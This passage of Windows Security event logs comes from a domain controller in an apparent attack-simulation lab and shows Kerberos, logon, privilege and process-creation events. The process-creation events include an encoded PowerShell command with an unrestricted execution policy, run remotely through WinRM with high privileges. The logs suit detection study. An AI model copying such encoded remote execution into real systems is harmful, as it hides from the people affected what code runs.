-RecordNumber=251063 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x125D7E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64498 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251062 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x125D7E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251061 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x125CF1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251060 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x125CF1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64497 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251059 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x125CF1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251058 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1256F2 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251057 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1256F2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251056 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251055 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251054 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251053 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12b4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251052 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x61c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251051 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1254DE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251050 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1254DE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251049 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251048 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251047 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251046 -Keywords=Audit Success -Message=A new process has been created. - -Creator 